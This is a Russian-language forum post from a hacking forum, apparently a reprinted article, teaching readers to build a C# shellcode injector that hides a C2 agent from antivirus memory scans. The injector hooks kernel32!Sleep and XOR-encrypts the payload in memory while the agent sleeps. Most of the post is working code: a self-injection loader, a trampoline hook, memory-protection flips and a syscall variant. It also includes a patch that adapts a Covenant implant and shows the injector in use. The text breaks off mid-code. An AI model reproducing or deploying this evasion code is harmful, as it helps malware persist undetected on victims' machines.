• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Флуктуация шелл-кода. Пишем инжектор для динамического шифрования полезной нагрузки в памяти

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Сегодня поговорим об одной из продвинутых техник уклонения от средств защиты при использовании фреймворков Command & Control — динамическом сокрытии шелл‑кода в памяти ожидающего процесса. Я соберу PoC из доступного на гитхабе кода и применю его к опенсорсным фреймворкам.

Если взглянуть на список фич, которыми хвастаются все коммерческие фреймворки C2 стоимостью 100500 долларов в час (Cobalt Strike, Nighthawk, Brute Ratel C4), первой в этих списках значится, как правило, возможность уклониться от сканирования памяти запущенных процессов на предмет наличия сигнатур агентов этих самых C2. Что, если попробовать воссоздать эту функцию самостоятельно? В статье я покажу, как я это сделал.

Итак, что же это за зверь такой, этот флуктуирующий шелл‑код?

ПРОБЛЕМАТИКА​

В основном мой хлеб — это внутренние пентесты, а на внутренних пентестах бывает удобно (хотя и совсем не необходимо) пользоваться фреймворками C2. Представь, что ты разломал рабочую станцию пользователя, имеешь к ней админский доступ, но ворваться туда по RDP нельзя, ведь нарушать бизнес‑процессы заказчика (то есть выбивать сотрудника из его сессии, где он усердно заполняет ячейки в очень важной накладной) «западло».

Одно из решений при работе в Linux — квазиинтерактивные шеллы вроде smbexec.py, wmiexec.py, dcomexec.py, scshell.py и Evil-WinRM. Но, во‑первых, это чертовски неудобно, во‑вторых, ты потенциально сталкиваешься с проблемой double-hop-аутентификации (как, например, с Evil-WinRM), а в‑третьих и далее — ты не можешь пользоваться объективно полезными фичами C2, как, например, исполнение .NET из памяти или поднятие прокси через скомпрометированную тачку.

Если не рассматривать совсем уж инвазивные подходы типа патчинга RDP при помощи Mimikatz (AKA ts::multirdp), остается работа из агента С2. И вот здесь ты столкнешься с проблемой байпаса средств защиты. Спойлер: по моему опыту, в 2022-м при активности любого «увожаемого» антивируса или EDR на хосте твой агент C2, которого ты так долго пытался получить (и все же получил, закриптовав нагрузку мильён раз), проживет в лучшем случае не больше часа.

Всему виной банальное сканирование памяти запущенных процессов антивирусами, которое выполняется по расписанию с целью поиска сигнатуры известных зловредов. Еще раз: получить агент с активным AV (и даже немного из него поработать) нетрудно; сделать так, чтобы этот агент прожил хотя бы сутки на машине‑жертве, бесценно уже сложнее, потому что, как бы ты ни криптовал и ни энкодил бинарь, PowerShell-стейжер или шелл‑код агента, вредоносные инструкции все равно окажутся в памяти в открытом виде, из‑за чего станут легкой добычей для простого сигнатурного сканера.

KES поднимает тревогу!​

Если тебя спалят с вредоносом в системной памяти, который не подкреплен подозрительным бинарем на диске (например, когда имела место инъекция шелл‑кода в процесс), тот же Kaspersky Endpoint Security при дефолтных настройках не определит, какой именно процесс заражен, и в качестве решения настойчиво предложит тебе перезагрузить машину.
Да-да, мы поняли

Такое поведение вызывает еще большее негодование у пентестера, потому что испуганный пользователь сразу побежит жаловаться в IT или к безопасникам.

Есть два пути решить эту проблему.
  1. Использовать C2-фреймворки, которые еще не успели намозолить глаза блютимерам и чьи агенты еще не попали в список легкодетектируемых. Другими словами, писать свое, искать малопопулярные решения на гитхабе с учетом региональных особенностей AV, который ты собрался байпасить, и тому подобное.
  2. Прибегнуть к продвинутым техникам сокрытия индикаторов компрометации после запуска агента C2. Например, подчищать аномалии памяти после запуска потоков, использовать связку «неисполняемая память + ROP-гаджеты» для размещения агента и его функционирования, шифровать нагрузку в памяти, когда взаимодействие с агентом не требуется.
В этой статье мы на примере посмотрим, как вооружить простой PoC флуктуирующего шелл‑кода (комбинация пунктов из абзаца выше) для его использования с почти любым опенсорсным фреймворком C2. Но для начала небольшой экскурс в историю.

A LONG TIME AGO IN A GALAXY FAR, FAR AWAY...​


Флипы памяти RX → RW / NA​

Первым опенсорсным проектом, предлагающим PoC-решение для уклонения от сканирования памяти, о котором я узнал, был gargoyle.

Если не углубляться в реализацию, его главная идея заключается в том, что полезная нагрузка (исполняемый код) размещается в неисполняемой области памяти (PAGE_READWRITE или PAGE_NOACCESS), которую не станет сканировать антивирус или EDR. Предварительно загрузчик gargoyle формирует специальный ROP-гаджет, который выстрелит по таймеру и изменит стек вызовов таким образом, чтобы верхушка стека оказалась на API-хендле VirtualProtectEx, — это позволит нам изменить маркировку защиты памяти на PAGE_EXECUTE_READ (то есть сделать память исполняемой). Дальше полезная нагрузка отработает, снова передаст управление загрузчику gargoyle, и процесс повторится.
Механизм работы gargoyle (изображение — lospi.net)

Принцип работы gargoyle много раз дополнили, улучшили и «переизобрели». Вот несколько примеров:
Также интересный подход продемонстрировали в F-Secure Labs, реализовав расширение Ninjasploit для Meterpreter, которое по косвенным признакам определяет, что Windows Defender вот‑вот запустит процедуру сканирования, и тогда «флипает» область памяти с агентом на неисполняемую прямо перед этим. Сейчас, скорее всего, это расширение уже не «взлетит», так как и Meterpreter, и «Дефендер» обновились не по одному разу, но идея все равно показательна.

Из этого пункта мы заберем с собой главную идею: изменение маркировки защиты памяти помогает скрыть факт ее заражения.

Вот что на самом деле происходит под капотом этой техники


Cobalt Strike: Obfuscate and Sleep​

В далеком 2018 году вышла версия 3.12 культовой C2-платформы Cobalt Strike. Релиз назывался «Blink and you’ll miss it», что как бы намекает на главную фичу новой версии — директиву sleep_mask, в которой реализована концепция obfuscate-and-sleep.

Эта концепция включает в себя следующий алгоритм поведения бикона:
  1. Если маячок «спит», то есть бездействует, выполняя kernel32!Sleep и ожидая команды от оператора, содержимое исполняемого (RWX) сегмента памяти полезной нагрузки обфусцируется. Это мешает сигнатурным сканерам распознать в нем Behavior:Win32/CobaltStrike или похожую бяку.
  2. Если маячку поступает на исполнение следующая команда из очереди, содержимое исполняемого сегмента памяти полезной нагрузки деобфусцируется, команда выполняется, и подозрительное содержимое маяка обратно обфусцируется, превращаясь в неразборчивый цифровой мусор на радость оператору «Кобы» и назло бдящему антивирусу.
Эти действия проходят прозрачно для оператора, а процесс обфускации представляет собой обычный XOR по исполняемой области памяти с фиксированным размером ключа 13 байт (для версий CS от 3.12 до 4.3).

Продемонстрируем это на примере. Я возьму этот профиль для CS, написанный @an0n_r0 как PoC минимально необходимого профиля Malleable C2 для обхода «Дефендера». Опция set sleep_mask "true" активирует процесс obfuscate-and-sleep.

Получили маячок

Далее с помощью Process Hacker найдем в бинаре «Кобы» сегмент RWX-памяти (при заданных настройках профиля он будет один) и посмотрим его содержимое.

Цифровой мусор или?..

На первый взгляд, и правда, выглядит как ничего не значащий набор байтов. Но если установить интерактивный режим маячка командой sleep 0 и «поклацать» несколько раз на Re-read в PH, нам откроется истина.

Маски прочь!


Деобфусцированная нагрузка маячка

Возможно, это содержимое все еще не очень информативно (сама нагрузка чуть дальше в памяти стаба), но, если пересоздать бикон без использования профиля, можно увидеть сердце маячка в чистом виде.

PURE EVIL

Однако на любое действие есть противодействие (или наоборот), поэтому люди из Elastic, недолго думая, запилили YARA-правило для обнаружения повторяющихся паттернов, «заксоренных» на одном и том же ключе:
Код:
rule cobaltstrike_beacon_4_2_decrypt
{
meta:
    author = "Elastic"
    description = "Identifies deobfuscation routine used in Cobalt Strike Beacon DLL version 4.2."
strings:
    $a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
    $a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
condition:
     any of them
}
В следующих актах этой оперы началась классическая игра в кошки‑мышки между нападающими и защищающимися. В HelpSystems выпустили отдельный Sleep Mask Kit для того, чтобы оператор мог изменять длину маски самостоятельно, но это уже совсем другая история.
В статье Sleeping with a Mask On можно увидеть, как модификация длины ключа XOR влияет на детектирование пейлоада CS в памяти.
Но довольно истории, пора подумать, как сделать эту технику «ближе к народу», и реализовать подобное в опенсорсном инструментарии.

ФЛУКТУАЦИЯ ШЕЛЛ-КОДА НА GITHUB​

Два невероятно крутых проекта на просторах GitHub, которые еще давно привлекли мое внимание, — это SleepyCrypt авторства @SolomonSklash (идет вместе с пояснительной запиской) и ShellcodeFluctuation, созданный @mariuszbit, у которого я позаимствовал название для этой статьи. Ни в коем случае не претендую на авторство, просто мне кажется, что слова «флуктуирующий шелл‑код» отлично годятся для наименования этого семейства техник в целом.

SleepyCrypt — это PoC, который можно вооружить при создании собственного C2-фреймворка (на выходе имеем позиционно независимый шелл‑код, сам себя шифрующий и расшифровывающий), а ShellcodeFluctuation — «самодостаточный» инжектор, который можно использовать с готовым шелл‑кодом существующего C2. К последнему мы будем стремиться при написании чего‑то подобного на С#, а пока разберем, как устроен ShellcodeFluctuation.

ShellcodeFluctuation​

Самое важное для нас — понять, как реализуется перехват управления обычным Sleep (который kernel32!Sleep) и переопределяется его поведение на «шифровать, поспать, расшифровать». Как ты уже мог понять, мы будем говорить об основах техники Inline API Hooking (MITRE ATT&CK T1617).

Хороший базовый пример реализации хукинга (как и многих других техник малдева) есть на Red Teaming Experiments, но мы разберем упрощенный пример на основе самого ShellcodeFluctuation, чтобы быть готовым к его портированию на C#. Вместо Sleep пока будем хукать функцию kernel32!MessageBoxA для более наглядной демонстрации результата.

В сущности, нас интересуют две функции, ответственные за перехват MessageBoxA.

fastTrampoline​

Функция fastTrampoline выполняет запись ассемблерных инструкций (именуемых «трамплином») по адресу расположения функции MessageBoxA библиотеки kernel32.dll. Она уже загружена в память целевого процесса, куда будет внедрен шелл‑код (в нашем случае мы ориентируемся на self-инъекцию, поэтому патчить kernel32.dll будем в текущем процессе). При установке хука инжектор перезаписывает начало инструкций MessageBoxA трамплином, содержащим безусловный «джамп» на нашу собственную реализацию MessageBoxA (MyMessageBoxA). Во время снятия хука (за это тоже ответственна функция fastTrampoline) трамплин перезаписывается оригинальными байтами из начала функции MessageBoxA, которые предварительно были сохранены во временный буфер.

Содержимое трамплина — это две простые ассемблерные инструкции (записать адрес переопределенной функции в регистр и выполнить jmp), ассемблированные в машинный код и записанные в массив байтов в формате little-endian.

Результат сборки с defuse.ca:
Код:
{ 0x49, 0xBA, 0x37, 0x13, 0xD3, 0xC0, 0x4D, 0xD3, 0x37, 0x13, 0x41, 0xFF, 0xE2 }

Disassembly:

0:  49 ba 37 13 d3 c0 4d    movabs r10,0x1337d34dc0d31337
7:  d3 37 13
a:  41 ff e2                jmp    r10
А вот и сам код:
Код:
// https://github.com/mgeeky/ShellcodeFluctuation/blob/cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.cpp#L178-L262
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
{
    // Шаблон нашего трамплина с 8 нулевыми байтами, выполняющими роль заглушки под джамп-адрес
    uint8_t trampoline[] = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
        0x41, 0xFF, 0xE2                                            // jmp r10
    };
    // Патчим трамплин байтами джамп-адреса
    uint64_t addr = (uint64_t)(jumpAddress);
    memcpy(&trampoline[2], &addr, sizeof(addr));
    DWORD dwSize = sizeof(trampoline);
    DWORD oldProt = 0;
    bool output = false;
    if (installHook) // если в режиме установки хука
    {
        if (buffers != NULL)
            // Сохраняем во временный буфер то, что мы собираемся перезаписать трамплином
            memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
        // Разрешаем себе изменять память по addressToHook
        if (::VirtualProtect(
            addressToHook,
            dwSize,
            PAGE_EXECUTE_READWRITE,
            &oldProt))
        {
            // Устанавливаем наш хук (просто копируем его содержимое в нужное место)
            memcpy(addressToHook, trampoline, dwSize);
            output = true;
        }
    }
    else // если в режиме снятия хука
    {
        dwSize = buffers->originalBytesSize;
        // Также разрешаем себе изменять память по addressToHook
        if (::VirtualProtect(
            addressToHook,
            dwSize,
            PAGE_EXECUTE_READWRITE,
            &oldProt))
        {
            // Восстанавливаем то, что было там изначально (до записи трамплина)
            memcpy(addressToHook, buffers->originalBytes, dwSize);
            output = true;
        }
    }
    // Возвращаем маркировку защиты памяти в первоначальное состояние
    ::VirtualProtect(
        addressToHook,
        dwSize,
        oldProt,
        &oldProt
    );
    return output;
}

MyMessageBoxA​

MyMessageBoxA — наша функция, переопределяющая поведение оригинального MessageBoxA, адрес которой будет записан в шаблон трамплина и на которую мы «прыгнем» при легитимном вызове MessageBoxA.

В качестве демонстрации мы вызовем MessageBoxA с одним сообщением, а модальное окно отрисует совсем другое.
Код:
// https://github.com/mgeeky/ShellcodeFluctuation/blob/cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.cpp#L11-L65
void WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
    HookTrampolineBuffers buffers = { 0 };
    buffers.originalBytes = g_hookedMessageBoxA.msgboxStub;
    buffers.originalBytesSize = sizeof(g_hookedMessageBoxA.msgboxStub);
    // Снимаем хук, чтобы далее вызвать оригинальную функцию MessageBoxA
    fastTrampoline(false, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA, &buffers);
    ::MessageBoxA(NULL, "You've been pwned!", "][AKEP", MB_OK);
    // Снова вешаем хук
    fastTrampoline(true, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA, NULL);
}

Результат​

Полагаю, что здесь все ясно без лишних объяснений.

API Hooking функции MessageBoxA


ПИЛИМ СВОЙ ФЛУКТУАТОР НА С#​

Идея реализации этой техники на C# пришла ко мне после твита @_RastaMouse, где он использовал библиотеку MinHook.NET для PoC-флуктуатора.

PoC от @_RastaMouse (изображение — twitter.com)

Что ж, мы можем попробовать сделать что‑то подобное, но без тяжеловесной зависимости в виде MinHook.NET, которую не хотелось бы включать в инжектор. Так как я планирую запускать финальный код из памяти через PowerShell, лишнее беспокойство AMSI вызывать ни к чему.

Объяснять, как ты писал код, в тексте статьи всегда непросто, поэтому поступим так: сперва наметим такой же каркас программы, как на скриншоте выше, а затем реализуем недостающую логику.

Прототипирование​

Итак, вот что я получил в качестве схематичного наброска кода:
Код:
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace FluctuateInjector
{
    class Program
    {
        // Классическая инъекция шелл-кода в текущий процесс
        static void Main(string[] args)
        {
            var shellcodeBytes = File.ReadAllBytes(@"C:\Users\snovvcrash\Desktop\dllSleep.bin");
            var shellcodeLength = shellcodeBytes.Length;
            // Выделяем область памяти в адресном пространстве текущего процесса инжектора (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
            var shellcodeAddress = Win32.VirtualAlloc(IntPtr.Zero, (IntPtr)shellcodeLength, 0x3000, 0x04);
            // и копируем туда байты шелл-кода
            Marshal.Copy(shellcodeBytes, 0, shellcodeAddress, shellcodeLength);
            // Репротект памяти после записи шелл-кода (0x20 = PAGE_EXECUTE_READ)
            Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength, 0x20, out _);
            // Хукаем Sleep
            var fs = new FluctuateShellcode(shellcodeAddress, shellcodeLength);
            fs.EnableHook();
            // Начинаем исполнение шелл-кода созданием нового потока
            var hThread = Win32.CreateThread(IntPtr.Zero, 0, shellcodeAddress, IntPtr.Zero, 0, IntPtr.Zero);
            Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);
            // Снимаем хук
            fs.DisableHook();
        }
    }
    class FluctuateShellcode
    {
        delegate void Sleep(uint dwMilliseconds);
        readonly Sleep sleepOrig;
        readonly GCHandle gchSleepDetour;
        readonly IntPtr sleepOriginAddress, sleepDetourAddress;
        readonly byte[] sleepOriginBytes = new byte[16], sleepDetourBytes;
        readonly byte[] trampoline =
        {
            0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
            0x41, 0xFF, 0xE2                                            // jmp r10
        };
        readonly IntPtr shellcodeAddress;
        readonly int shellcodeLength;
        readonly byte[] xorKey;
        public FluctuateShellcode(IntPtr shellcodeAddr, int shellcodeLen)
        { }
        ~FluctuateShellcode()
        { }
        // Наш переопределенный Sleep
        void SleepDetour(uint dwMilliseconds)
        { }
        // Установка хука
        public bool EnableHook()
        { }
        // Снятие хука
        public bool DisableHook()
        { }
        // Функция, отвечающая за флипы памяти на RW/NA
        void ProtectMemory(uint newProtect)
        { }
        // Обфускация памяти шелл-кода простым XOR-шифрованием
        void XorMemory()
        { }
        // Генерация ключа для XOR-шифрования
        byte[] GenerateXorKey()
        { }
    }
    // Необходимый набор Win32 API
    class Win32
    {
        [DllImport("kernel32")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, IntPtr dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32.dll")]
        public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, uint dwSize);
    }
}
Вроде пока все более‑менее прозрачно. Единственное, что надо уточнить, — это какой шелл‑код мы возьмем для тестирования.

Все просто: скомпилируем DLL из дефолтных пресетов Visual Studio с единственной выполняемой операцией — Sleep на 5 с — и превратим ее в шелл‑код.

sRDI (Shellcode Reflective DLL Injection) — логическое продолжение техник RDI и Improved RDI, позволяющее генерировать позиционно независимый шелл‑код из библиотеки DLL:

Для этого понадобится код самой DLL:
Код:
// dllSleep.cpp
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        while (TRUE) { Sleep(5000); }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
И генератор шелл‑кода из DLL:
Код:
PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ShellcodeRDI.py -o ShellcodeRDI.py
PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ConvertToShellcode.py -o ConvertToShellcode.py
PS > python ConvertToShellcode.py -i dllSleep.dll
Creating Shellcode: dllSleep.bin
Шелл‑код для тестов у нас готов. Не переживай, как только закончим с инжектором, протестим все на боевом C2.

Реализация​

Каркас инжектора есть, дело за малым — наполнить методы класса FluctuateShellcode смысловой нагрузкой. Будем идти по нашей «рыбе» снизу вверх.

FluctuateShellcode.GenerateXorKey​

Здесь все очевидно — сгенерируем последовательность байтов, которая будет накладываться на байты шелл‑кода как шифрующая гамма. Помня о несовершенстве первой версии техники Obfuscate and Sleep в Cobalt Strike, из‑за которой присутствие бикона можно было распознать YARA-правилом, основываясь на длине повторяющегося ключа, я реализую шифрование XOR в режиме одноразового блокнота. В этом случае размер ключа равен размеру шифротекста, то есть длине шелл‑кода (благо шелл‑коды обычно небольшие, поэтому «лагов» и «фризов» быть не должно).
Код:
byte[] GenerateXorKey()
{
    Random rnd = new Random();
    byte[] xorKey = new byte[shellcodeLength];
    rnd.NextBytes(xorKey);
    return xorKey;
}

FluctuateShellcode.XorMemory​

Пока тоже вроде нетрудно: накладываем шифрующую гамму на сегмент памяти, содержащий байты шелл‑кода.
Код:
void XorMemory()
{
    byte[] data = new byte[shellcodeLength];
    Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);
    for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];
    Marshal.Copy(data, 0, shellcodeAddress, data.Length);
}

FluctuateShellcode.ProtectMemory​

В реализации этой функции выбор остается за читателем: либо используй VirtualProtect из Win32 API с помощью P/Invoke, либо если хочешь быть самым крутым хакером используй D/Invoke и системные вызовы, как мы делали это, когда модернизировали KeeThief.

Пример с P/Invoke:
Код:
void ProtectMemory(uint newProtect)
{
    if (Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength, newProtect, out _))
        Console.WriteLine("(FluctuateShellcode) [DEBUG] Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.ToInt64()) + $" to {newProtect}");
    else
        throw new Exception("(FluctuateShellcode) [-] VirtualProtect");
}
Пример с D/Invoke:
Код:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate DoItDynamicallyBabe.Native.NTSTATUS NtProtectVirtualMemory(
    IntPtr ProcessHandle,
    ref IntPtr BaseAddress,
    ref IntPtr RegionSize,
    uint NewProtect,
    ref uint OldProtect);
void ProtectMemory(uint newProtect)
{
    IntPtr stub = GetSyscallStub("NtProtectVirtualMemory");
    NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));
    IntPtr protectAddress = shellcodeAddress;
    IntPtr regionSize = (IntPtr)shellcodeLength;
    uint oldProtect = 0;
    var result = ntProtectVirtualMemory(
        Process.GetCurrentProcess().Handle,
        ref protectAddress,
        ref regionSize,
        newProtect,
        ref oldProtect);
    if (ntstatus == NTSTATUS.Success)
        Console.WriteLine("(FluctuateShellcode) [DEBUG] Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.ToInt64()) + $" to {newProtect}");
    else
        throw new Exception($"(FluctuateShellcode) [-] NtProtectVirtualMemory: {ntstatus}");
}

FluctuateShellcode.DisableHook​

Функция снятия хука — то есть перезапись трамплина содержимым оригинального Sleep, которое мы бережно храним в поле sleepOriginBytes. И снова можно использовать P/Invoke или более модный D/Invoke для работы с API.
Код:
public bool DisableHook()
{
    bool unhooked = false;
    if (Win32.VirtualProtect(
        sleepOriginAddress,
        (uint)sleepOriginBytes.Length,
        0x40, // 0x40 = PAGE_EXECUTE_READWRITE
        out uint oldProtect))
    {
        Marshal.Copy(sleepOriginBytes, 0, sleepOriginAddress, sleepOriginBytes.Length);
        unhooked = true;
    }
    bool flushed = false;
    if (Win32.FlushInstructionCache(
        Process.GetCurrentProcess().Handle,
        sleepOriginAddress,
        (uint)sleepOriginBytes.Length))
    {
        flushed = true;
    }
    Win32.VirtualProtect(
        sleepOriginAddress,
        (uint)sleepOriginBytes.Length,
        oldProtect,
        out _);
    return unhooked && flushed;
}

Если мы изменяем код, уже загруженный в память, Microsoft говорит, что мы должны использовать функцию FlushInstructionCache, — в противном случае кеш ЦП может помешать ОС увидеть изменения.

FluctuateShellcode.EnableHook​

То же самое, что и DisableHook, только в этот раз мы перезаписываем исходный Sleep трамплином:
Код:
public bool EnableHook()
{
    bool hooked = false;
    if (Win32.VirtualProtect(
        sleepOriginAddress,
        (uint)trampoline.Length,
        0x40, // 0x40 = PAGE_EXECUTE_READWRITE
        out uint oldProtect))
    {
        Marshal.Copy(trampoline, 0, sleepOriginAddress, trampoline.Length);
        hooked = true;
    }
    bool flushed = false;
    if (Win32.FlushInstructionCache(
        Process.GetCurrentProcess().Handle,
        sleepOriginAddress,
        (uint)trampoline.Length))
    {
        flushed = true;
    }
    Win32.VirtualProtect(
        sleepOriginAddress,
        (uint)trampoline.Length,
        oldProtect,
        out _);
    return hooked && flushed;
}

FluctuateShellcode.SleepDetour​

Сердце нашей флуктуации — измененная функция Sleep, которая будет перехватывать управление в момент «засыпания» агента. По содержимому тела функции понятно, что она делает.
Код:
void SleepDetour(uint dwMilliseconds)
{
    DisableHook();
    ProtectMemory(0x04); // 0x04 = PAGE_READWRITE
    XorMemory();
    sleepOrig(dwMilliseconds);
    XorMemory();
    ProtectMemory(0x20); // 0x20 = PAGE_EXECUTE_READ
    EnableHook();
}

Конструктор и деструктор​

Так как мы решили пользоваться преимуществами ООП в C#, в конструкторе мы реализуем вычисление необходимых адресов и содержимого, находящегося по этим адресам:
Код:
public FluctuateShellcode(IntPtr shellcodeAddr, int shellcodeLen)
{
    // Получаем адрес оригинальной функции Sleep
    sleepOriginAddress = Win32.GetProcAddress(Win32.LoadLibrary("kernel32.dll"), "Sleep");
    // Инициализируем делегат для возможности обращаться к этой функции по ее адресу
    sleepOrig = (Sleep)Marshal.GetDelegateForFunctionPointer(sleepOriginAddress, typeof(Sleep));
    // Бэкапим первые 16 байт оригинальной функции Sleep
    Marshal.Copy(sleepOriginAddress, sleepOriginBytes, 0, 16);
    // Получаем адрес метода SleepDetour, которым будет пропатчен шаблон трамплина
    var sleepDetour = new Sleep(SleepDetour);
    sleepDetourAddress = Marshal.GetFunctionPointerForDelegate(sleepDetour);
    gchSleepDetour = GCHandle.Alloc(sleepDetour);
    using (var ms = new MemoryStream())
    using (var bw = new BinaryWriter(ms))
    {
        // Составляем little-endian-адрес sleepDetourAddress в виде байтового массива
        bw.Write((ulong)sleepDetourAddress);
        sleepDetourBytes = ms.ToArray();
    }
    // Патчим этим адресом шаблон трамплина
    for (var i = 0; i < sleepDetourBytes.Length; i++)
        trampoline[i + 2] = sleepDetourBytes[i];
    // Инициализируем другие оставшиеся поля класса FluctuateShellcode, к которым должны иметь доступ его методы
    shellcodeAddress = shellcodeAddr;
    shellcodeLength = shellcodeLen;
    xorKey = GenerateXorKey();
}
Важный момент, на котором стоит остановиться отдельно: так как мы работаем с управляемой средой .NET, адрес метода SleepDetour будет недоступен для неуправляемого кода, если только мы явно не попросим его таковым быть. Здесь на помощь приходит хендл GCHandle, дающий способ получить доступ к управляемому объекту из неуправляемой памяти (подсмотрел в этом ответе на Stack Overflow).

Метод GCHandle.Alloc запрещает сборщику мусора трогать адрес‑делегат sleepDetourAddress, тем самым «фиксируя» его на все время работы инжектора. Чтобы отпустить удерживание адреса, мы используем деструктор:
Код:
~FluctuateShellcode()
{
    if (gchSleepDetour.IsAllocated)
        gchSleepDetour.Free();
    DisableHook();
}

Тестирование​

Время лабораторных испытаний. Чтобы успеть увидеть флипы и шифрование памяти в Process Hacker, я добавлю инструкцию Thread.Sleep(5000) в начало функции SleepDetour. Скомпилируем проект (обязательно в x64) и запустим.

Сперва смотрим на содержимое области памяти с шелл‑кодом, которое шифруется при каждом вызове Sleep.

Обфускация области памяти с шелл-кодом

Еще одно демо, на котором видна перезапись памяти kernel32.dll: трамплин сменяется оригинальным содержимым и наоборот.

Установка и снятие хука Sleep

Тесты в контролируемой среде пройдены, время для полевых испытаний!

ИСПОЛЬЗОВАНИЕ С АГЕНТОМ C2​

Для демонстрации работы инжектора с реальным C2 сперва нужно определиться с фреймворком, который мы будем использовать. Показывать работу флуктуатора с Cobalt Strike бессмысленно (хотя с ней он тоже работает), ведь изначальной целью было научиться встраивать обсуждаемую технику в open source проекты, да и sleep_mask в свежих версиях «Кобы» работает как надо.

Итак, какой же C2 нам выбрать? Агент Meterpreter полностью интерактивный и не использует Sleep (править сорцы Meterpreter — увольте, нет), PoshC2 не имеет stageless-имплантов, и его код частично закрыт, а в Sliver генерирует слишком большой шелл‑код из‑за особенностей языка, на котором он написан (это Go, ага).

Мой выбор пал на Covenant, для которого @ShitSecure недавно показал, как создавать stageless-импланты. Отличный кандидат, как по мне!

Я загружу код кастомного stageless-импланта и изменю в нем задержки (Delays), реализованные через Thread.Sleep, на полноценный вызов Sleep из kernel32.dll.

Thread.Sleep → kernel32!Sleep

Вот такой патч у меня получился, если кто‑то захочет повторить:
Код:
14a15
> using System.Runtime.InteropServices;
277a279,281
>         [DllImport("kernel32.dll")]
>         static extern void Sleep(int dwMilliseconds);
>
354c358
<                     Thread.Sleep((Delay + change) * 1000);
---
>                     Sleep((Delay + change) * 1000);
430c434
<                                     Thread.Sleep(3000);
---
>                                     Sleep(3000);
Далее я залогинюсь в Covenant и создам новый темплейт.

Добавление stageless-агента в Covenant

Теперь создаем новые Listener и Launcher в формате шелл‑кода на основе добавленного темплейта.

Генерация шелл-кода в Covenant

Остается заменить sleepDll.bin путем до нового шелл‑кода, и можно запускать инжектор!

You’ve poped a (fluctuating) shell!

Если просканировать область памяти, содержащей шелл‑код, с помощью Moneta, можно видеть, что мы избавились от одного из самых показательных индикаторов заражения — исполняемой приватной памяти.

Никакого Abnormal private executable memory

И разумеется, я не мог не портировать созданный код на D/Invoke и не включить его в свой инжектор, который зачастую использую на проектах.

Демо
Демо

БОНУС. РЕАЛИЗАЦИЯ API HOOKING С ПОМОЩЬЮ MINIHOOK.NET​

В качестве бонуса оставлю здесь реализацию класса флуктуатора, которая использует MiniHook.NET. Можешь сам оценить, сильно ли уменьшился объем кода.
Код:
class FluctuateShellcodeMiniHook
{
    // using MinHook; // https://github.com/CCob/MinHook.NET
    delegate void Sleep(uint dwMilliseconds);
    readonly Sleep sleepOrig;
    readonly HookEngine hookEngine;
    readonly uint fluctuateWith;
    readonly IntPtr shellcodeAddress;
    readonly int shellcodeLength;
    readonly byte[] xorKey;
    public FluctuateShellcodeMiniHook(uint fluctuate, IntPtr shellcodeAddr, int shellcodeLen)
    {
        hookEngine = new HookEngine();
        sleepOrig = hookEngine.CreateHook("kernel32.dll", "Sleep", new Sleep(SleepDetour));
        fluctuateWith = fluctuate;
        shellcodeAddress = shellcodeAddr;
        shellcodeLength = shellcodeLen;
        xorKey = GenerateXorKey();
    }
    ~FluctuateShellcodeMiniHook()
    {
        hookEngine.DisableHooks();
    }
    public void EnableHook()
    {
        hookEngine.EnableHooks();
    }
    public void DisableHook()
    {
        hookEngine.DisableHooks();
    }
    void SleepDetour(uint dwMilliseconds)
    {
        ProtectMemory(fluctuateWith);
